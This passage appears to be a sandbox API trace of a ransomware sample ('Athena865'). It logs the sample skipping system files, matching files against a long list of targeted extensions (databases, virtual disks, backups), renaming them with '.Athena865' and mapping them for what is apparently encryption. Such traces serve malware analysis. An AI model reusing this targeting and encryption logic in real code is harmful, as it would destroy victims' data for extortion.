(lpString="p97") returned 3 [0096.875] lstrcmpiW (lpString1="txt", lpString2="p97") returned 1 [0096.875] lstrlenW (lpString="pan") returned 3 [0096.875] lstrcmpiW (lpString1="txt", lpString2="pan") returned 1 [0096.875] lstrlenW (lpString="pdb") returned 3 [0096.875] lstrcmpiW (lpString1="txt", lpString2="pdb") returned 1 [0096.875] lstrlenW (lpString="pdm") returned 3 [0096.875] lstrcmpiW (lpString1="txt", lpString2="pdm") returned 1 [0096.875] lstrlenW (lpString="pnz") returned 3 [0096.875] lstrcmpiW (lpString1="txt", lpString2="pnz") returned 1 [0096.875] lstrlenW (lpString="qry") returned 3 [0096.875] lstrcmpiW (lpString1="txt", lpString2="qry") returned 1 [0096.875] lstrlenW (lpString="qvd") returned 3 [0096.876] lstrcmpiW (lpString1="txt", lpString2="qvd") returned 1 [0096.876] lstrlenW (lpString="rbf") returned 3 [0096.876] lstrcmpiW (lpString1="txt", lpString2="rbf") returned 1 [0096.876] lstrlenW (lpString="rctd") returned 4 [0096.876] lstrcmpiW (lpString1=".txt", lpString2="rctd") returned -1 [0096.876] lstrlenW (lpString="rod") returned 3 [0096.876] lstrcmpiW (lpString1="txt", lpString2="rod") returned 1 [0096.876] lstrlenW (lpString="rodx") returned 4 [0096.876] lstrcmpiW (lpString1=".txt", lpString2="rodx") returned -1 [0096.876] lstrlenW (lpString="rpd") returned 3 [0096.876] lstrcmpiW (lpString1="txt", lpString2="rpd") returned 1 [0096.876] lstrlenW (lpString="rsd") returned 3 [0096.876] lstrcmpiW (lpString1="txt", lpString2="rsd") returned 1 [0096.876] lstrlenW (lpString="sas7bdat") returned 8 [0096.876] lstrcmpiW (lpString1="DaYi.txt", lpString2="sas7bdat") returned -1 [0096.876] lstrlenW (lpString="sbf") returned 3 [0096.876] lstrcmpiW (lpString1="txt", lpString2="sbf") returned 1 [0096.876] lstrlenW (lpString="scx") returned 3 [0096.876] lstrcmpiW (lpString1="txt", lpString2="scx") returned 1 [0096.876] lstrlenW (lpString="sdb") returned 3 [0096.876] lstrcmpiW (lpString1="txt", lpString2="sdb") returned 1 [0096.876] lstrlenW (lpString="sdc") returned 3 [0096.876] lstrcmpiW (lpString1="txt", lpString2="sdc") returned 1 [0096.876] lstrlenW (lpString="sdf") returned 3 [0096.876] lstrcmpiW (lpString1="txt", lpString2="sdf") returned 1 [0096.876] lstrlenW (lpString="sis") returned 3 [0096.876] lstrcmpiW (lpString1="txt", lpString2="sis") returned 1 [0096.876] lstrlenW (lpString="spq") returned 3 [0096.876] lstrcmpiW (lpString1="txt", lpString2="spq") returned 1 [0096.876] lstrlenW (lpString="te") returned 2 [0096.876] lstrcmpiW (lpString1="xt", lpString2="te") returned 1 [0096.876] lstrlenW (lpString="teacher") returned 7 [0096.877] lstrcmpiW (lpString1="aYi.txt", lpString2="teacher") returned -1 [0096.877] lstrlenW (lpString="tmd") returned 3 [0096.877] lstrcmpiW (lpString1="txt", lpString2="tmd") returned 1 [0096.877] lstrlenW (lpString="tps") returned 3 [0096.877] lstrcmpiW (lpString1="txt", lpString2="tps") returned 1 [0096.877] lstrlenW (lpString="trc") returned 3 [0096.877] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0096.877] lstrlenW (lpString="trc") returned 3 [0096.877] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0096.877] lstrlenW (lpString="trm") returned 3 [0096.877] lstrcmpiW (lpString1="txt", lpString2="trm") returned 1 [0096.877] lstrlenW (lpString="udb") returned 3 [0096.877] lstrcmpiW (lpString1="txt", lpString2="udb") returned -1 [0096.877] lstrlenW (lpString="udl") returned 3 [0096.877] lstrcmpiW (lpString1="txt", lpString2="udl") returned -1 [0096.877] lstrlenW (lpString="usr") returned 3 [0096.877] lstrcmpiW (lpString1="txt", lpString2="usr") returned -1 [0096.877] lstrlenW (lpString="v12") returned 3 [0096.877] lstrcmpiW (lpString1="txt", lpString2="v12") returned -1 [0096.877] lstrlenW (lpString="vis") returned 3 [0096.877] lstrcmpiW (lpString1="txt", lpString2="vis") returned -1 [0096.877] lstrlenW (lpString="vpd") returned 3 [0096.877] lstrcmpiW (lpString1="txt", lpString2="vpd") returned -1 [0096.877] lstrlenW (lpString="vvv") returned 3 [0096.877] lstrcmpiW (lpString1="txt", lpString2="vvv") returned -1 [0096.877] lstrlenW (lpString="wdb") returned 3 [0096.877] lstrcmpiW (lpString1="txt", lpString2="wdb") returned -1 [0096.877] lstrlenW (lpString="wmdb") returned 4 [0096.877] lstrcmpiW (lpString1=".txt", lpString2="wmdb") returned -1 [0096.877] lstrlenW (lpString="wrk") returned 3 [0096.877] lstrcmpiW (lpString1="txt", lpString2="wrk") returned -1 [0096.877] lstrlenW (lpString="xdb") returned 3 [0096.878] lstrcmpiW (lpString1="txt", lpString2="xdb") returned -1 [0096.878] lstrlenW (lpString="xld") returned 3 [0096.878] lstrcmpiW (lpString1="txt", lpString2="xld") returned -1 [0096.878] lstrlenW (lpString="xmlff") returned 5 [0096.878] lstrcmpiW (lpString1="i.txt", lpString2="xmlff") returned -1 [0096.878] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt.Athena865") returned 85 [0096.878] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicedayi.txt"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicedayi.txt.athena865"), dwFlags=0x1) returned 1 [0096.879] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicedayi.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.879] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=980102) returned 1 [0096.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.880] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.880] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.880] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.881] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xef790, lpName=0x0) returned 0x17c [0096.882] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xef790) returned 0x2d50000 [0096.918] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.918] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.918] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.919] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0096.927] CloseHandle (hObject=0x17c) returned 1 [0096.927] CloseHandle (hObject=0x154) returned 1 [0096.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.931] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f6118a, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x47f6118a, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x7821d6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x196b56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedQuanPin.txt", cAlternateFileName="")) returned 1 [0096.931] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.931] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.931] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".") returned 1 [0096.931] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="..") returned 1 [0096.931] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="windows") returned -1 [0096.931] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="bootmgr") returned 1 [0096.931] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="temp") returned -1 [0096.931] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="pagefile.sys") returned 1 [0096.932] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="boot") returned 1 [0096.932] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="ids.txt") returned 1 [0096.932] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="ntuser.dat") returned 1 [0096.932] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="perflogs") returned 1 [0096.932] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="MSBuild") returned 1 [0096.932] lstrlenW (lpString="TableTextServiceSimplifiedQuanPin.txt") returned 37 [0096.932] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TableTextServiceSimplifiedQuanPin.txt" | out: lpString1="TableTextServiceSimplifiedQuanPin.txt") returned="TableTextServiceSimplifiedQuanPin.txt" [0096.932] lstrlenW (lpString="TableTextServiceSimplifiedQuanPin.txt") returned 37 [0096.932] lstrlenW (lpString="Athena865") returned 9 [0096.932] lstrcmpiW (lpString1="anPin.txt", lpString2="Athena865") returned -1 [0096.932] lstrlenW (lpString=".dll") returned 4 [0096.932] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".dll") returned 1 [0096.932] lstrlenW (lpString=".lnk") returned 4 [0096.932] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".lnk") returned 1 [0096.932] lstrlenW (lpString=".ini") returned 4 [0096.932] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".ini") returned 1 [0096.932] lstrlenW (lpString=".sys") returned 4 [0096.932] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".sys") returned 1 [0096.932] lstrlenW (lpString="TableTextServiceSimplifiedQuanPin.txt") returned 37 [0096.932] lstrlenW (lpString="bak") returned 3 [0096.932] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1 [0096.932] lstrlenW (lpString="ba_") returned 3 [0096.932] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1 [0096.932] lstrlenW (lpString="dbb") returned 3 [0096.932] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1 [0096.932] lstrlenW (lpString="vmdk") returned 4 [0096.932] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1 [0096.932] lstrlenW (lpString="rar") returned 3 [0096.932] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1 [0096.932] lstrlenW (lpString="zip") returned 3 [0096.932] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1 [0096.933] lstrlenW (lpString="tgz") returned 3 [0096.933] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1 [0096.933] lstrlenW (lpString="vbox") returned 4 [0096.933] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1 [0096.933] lstrlenW (lpString="vdi") returned 3 [0096.933] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1 [0096.933] lstrlenW (lpString="vhd") returned 3 [0096.933] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1 [0096.933] lstrlenW (lpString="vhdx") returned 4 [0096.933] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1 [0096.933] lstrlenW (lpString="avhd") returned 4 [0096.933] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1 [0096.933] lstrlenW (lpString="db") returned 2 [0096.933] lstrcmpiW (lpString1="xt", lpString2="db") returned 1 [0096.933] lstrlenW (lpString="db2") returned 3 [0096.933] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1 [0096.933] lstrlenW (lpString="db3") returned 3 [0096.933] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1 [0096.933] lstrlenW (lpString="dbf") returned 3 [0096.933] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1 [0096.933] lstrlenW (lpString="mdf") returned 3 [0096.933] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1 [0096.933] lstrlenW (lpString="mdb") returned 3 [0096.933] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1 [0096.933] lstrlenW (lpString="sql") returned 3 [0096.933] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1 [0096.933] lstrlenW (lpString="sqlite") returned 6 [0096.933] lstrcmpiW (lpString1="in.txt", lpString2="sqlite") returned -1 [0096.933] lstrlenW (lpString="sqlite3") returned 7 [0096.933] lstrcmpiW (lpString1="Pin.txt", lpString2="sqlite3") returned -1 [0096.933] lstrlenW (lpString="sqlitedb") returned 8 [0096.933] lstrcmpiW (lpString1="nPin.txt", lpString2="sqlitedb") returned -1 [0096.934] lstrlenW (lpString="xml") returned 3 [0096.934] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1 [0096.934] lstrlenW (lpString="$er") returned 3 [0096.934] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1 [0096.934] lstrlenW (lpString="4dd") returned 3 [0096.934] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1 [0096.934] lstrlenW (lpString="4dl") returned 3 [0096.934] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1 [0096.934] lstrlenW (lpString="^^^") returned 3 [0096.934] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1 [0096.934] lstrlenW (lpString="abs") returned 3 [0096.934] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1 [0096.934] lstrlenW (lpString="abx") returned 3 [0096.934] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1 [0096.934] lstrlenW (lpString="accdb") returned 5 [0096.934] lstrcmpiW (lpString1="n.txt", lpString2="accdb") returned 1 [0096.934] lstrlenW (lpString="accdc") returned 5 [0096.934] lstrcmpiW (lpString1="n.txt", lpString2="accdc") returned 1 [0096.934] lstrlenW (lpString="accde") returned 5 [0096.934] lstrcmpiW (lpString1="n.txt", lpString2="accde") returned 1 [0096.934] lstrlenW (lpString="accdr") returned 5 [0096.934] lstrcmpiW (lpString1="n.txt", lpString2="accdr") returned 1 [0096.934] lstrlenW (lpString="accdt") returned 5 [0096.934] lstrcmpiW (lpString1="n.txt", lpString2="accdt") returned 1 [0096.934] lstrlenW (lpString="accdw") returned 5 [0096.934] lstrcmpiW (lpString1="n.txt", lpString2="accdw") returned 1 [0096.934] lstrlenW (lpString="accft") returned 5 [0096.934] lstrcmpiW (lpString1="n.txt", lpString2="accft") returned 1 [0096.934] lstrlenW (lpString="adb") returned 3 [0096.934] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0096.934] lstrlenW (lpString="adb") returned 3 [0096.934] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0096.935] lstrlenW (lpString="ade") returned 3 [0096.935] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1 [0096.935] lstrlenW (lpString="adf") returned 3 [0096.935] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1 [0096.935] lstrlenW (lpString="adn") returned 3 [0096.935] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1 [0096.935] lstrlenW (lpString="adp") returned 3 [0096.935] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1 [0096.935] lstrlenW (lpString="alf") returned 3 [0096.935] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1 [0096.935] lstrlenW (lpString="ask") returned 3 [0096.935] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1 [0096.935] lstrlenW (lpString="btr") returned 3 [0096.935] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1 [0096.935] lstrlenW (lpString="cat") returned 3 [0096.935] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1 [0096.935] lstrlenW (lpString="cdb") returned 3 [0096.935] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1 [0096.935] lstrlenW (lpString="ckp") returned 3 [0096.935] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1 [0096.935] lstrlenW (lpString="cma") returned 3 [0096.935] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1 [0096.935] lstrlenW (lpString="cpd") returned 3 [0096.935] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1 [0096.935] lstrlenW (lpString="dacpac") returned 6 [0096.935] lstrcmpiW (lpString1="in.txt", lpString2="dacpac") returned 1 [0096.935] lstrlenW (lpString="dad") returned 3 [0096.935] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1 [0096.935] lstrlenW (lpString="dadiagrams") returned 10 [0096.935] lstrcmpiW (lpString1="uanPin.txt", lpString2="dadiagrams") returned 1 [0096.935] lstrlenW (lpString="daschema") returned 8 [0096.935] lstrcmpiW (lpString1="nPin.txt", lpString2="daschema") returned 1 [0096.936] lstrlenW (lpString="db-journal") returned 10 [0096.936] lstrcmpiW (lpString1="uanPin.txt", lpString2="db-journal") returned 1 [0096.936] lstrlenW (lpString="db-shm") returned 6 [0096.936] lstrcmpiW (lpString1="in.txt", lpString2="db-shm") returned 1 [0096.936] lstrlenW (lpString="db-wal") returned 6 [0096.936] lstrcmpiW (lpString1="in.txt", lpString2="db-wal") returned 1 [0096.936] lstrlenW (lpString="dbc") returned 3 [0096.936] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1 [0096.936] lstrlenW (lpString="dbs") returned 3 [0096.936] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1 [0096.936] lstrlenW (lpString="dbt") returned 3 [0096.936] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1 [0096.936] lstrlenW (lpString="dbv") returned 3 [0096.936] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1 [0096.936] lstrlenW (lpString="dbx") returned 3 [0096.936] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1 [0096.936] lstrlenW (lpString="dcb") returned 3 [0096.936] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1 [0096.936] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt.Athena865") returned 98 [0096.936] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt.athena865"), dwFlags=0x1) returned 1 [0096.937] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.937] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1665878) returned 1 [0096.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.938] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.939] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.939] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.939] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x196e60, lpName=0x0) returned 0x17c [0096.940] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x196e60) returned 0x2d50000 [0097.050] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0097.051] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0097.051] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0097.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0097.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0097.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0097.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0097.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0097.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0097.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0097.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0097.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0097.052] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0097.067] CloseHandle (hObject=0x17c) returned 1 [0097.067] CloseHandle (hObject=0x154) returned 1 [0097.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0097.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0097.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0097.074] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ff9706, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x47ff9706, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x782dbd9c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x160e36, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedShuangPin.txt", cAlternateFileName="")) returned 1 [0097.074] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.074] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.074] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".") returned 1 [0097.074] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="..") returned 1 [0097.074] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="windows") returned -1 [0097.074] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="bootmgr") returned 1 [0097.074] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="temp") returned -1 [0097.074] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="pagefile.sys") returned 1 [0097.074] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="boot") returned 1 [0097.074] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="ids.txt") returned 1 [0097.074] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="ntuser.dat") returned 1 [0097.074] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="perflogs") returned 1 [0097.074] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="MSBuild") returned 1 [0097.074] lstrlenW (lpString="TableTextServiceSimplifiedShuangPin.txt") returned 39 [0097.074] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TableTextServiceSimplifiedShuangPin.txt" | out: lpString1="TableTextServiceSimplifiedShuangPin.txt") returned="TableTextServiceSimplifiedShuangPin.txt" [0097.074] lstrlenW (lpString="TableTextServiceSimplifiedShuangPin.txt") returned 39 [0097.074] lstrlenW (lpString="Athena865") returned 9 [0097.074] lstrcmpiW (lpString1="ngPin.txt", lpString2="Athena865") returned 1 [0097.074] lstrlenW (lpString=".dll") returned 4 [0097.074] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".dll") returned 1 [0097.074] lstrlenW (lpString=".lnk") returned 4 [0097.074] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".lnk") returned 1 [0097.075] lstrlenW (lpString=".ini") returned 4 [0097.075] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".ini") returned 1 [0097.075] lstrlenW (lpString=".sys") returned 4 [0097.075] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".sys") returned 1 [0097.075] lstrlenW (lpString="TableTextServiceSimplifiedShuangPin.txt") returned 39 [0097.075] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt.Athena865") returned 100 [0097.075] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicesimplifiedshuangpin.txt"), lpNewFileName="C:\\Program Files (x86)\\Windows 